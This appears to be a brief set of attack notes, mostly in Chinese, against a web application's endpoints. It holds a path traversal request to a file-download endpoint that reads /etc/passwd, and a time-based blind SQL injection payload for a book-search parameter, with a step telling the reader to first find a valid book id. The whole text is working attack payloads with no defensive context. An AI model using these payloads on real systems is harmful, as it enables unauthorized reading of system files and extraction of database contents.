zz123

/common/sysFile/download?filePath=../../../../../../etc/passwd&fileName=123.txt

先访问url+/api/book/search?historyBookIds 找到一个book的id号historyBookIds=bookid号)+and+if(length(database())=5,sleep(10),1)+and+2+in(2